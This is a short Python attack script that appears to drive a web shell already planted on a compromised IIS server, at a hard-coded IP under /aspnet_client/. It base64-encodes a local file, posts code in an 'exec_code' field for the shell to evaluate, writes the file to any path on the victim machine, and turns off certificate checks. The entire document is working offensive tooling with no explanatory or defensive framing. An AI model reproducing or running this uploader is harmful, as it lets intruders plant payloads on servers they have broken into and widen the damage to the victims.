#!/usr/bin/env python3
import requests, base64, sys
requests.packages.urllib3.disable_warnings()
EVAL="https://213.6.54.59/aspnet_client/movvtf.aspx"
f=sys.argv[1]; tgt=sys.argv[2]
src=open(f,"rb").read(); b64=base64.b64encode(src).decode()
tgt_js=tgt.replace('\\','\\\\')
code='var b=System.Convert.FromBase64String("%s");System.IO.File.WriteAllBytes("%s",b);Response.Write("W="+b.Length);'%(b64,tgt_js)
r=requests.post(EVAL,data={"exec_code":code},verify=False,timeout=120).text
print(r.split('!BD')[0].strip())
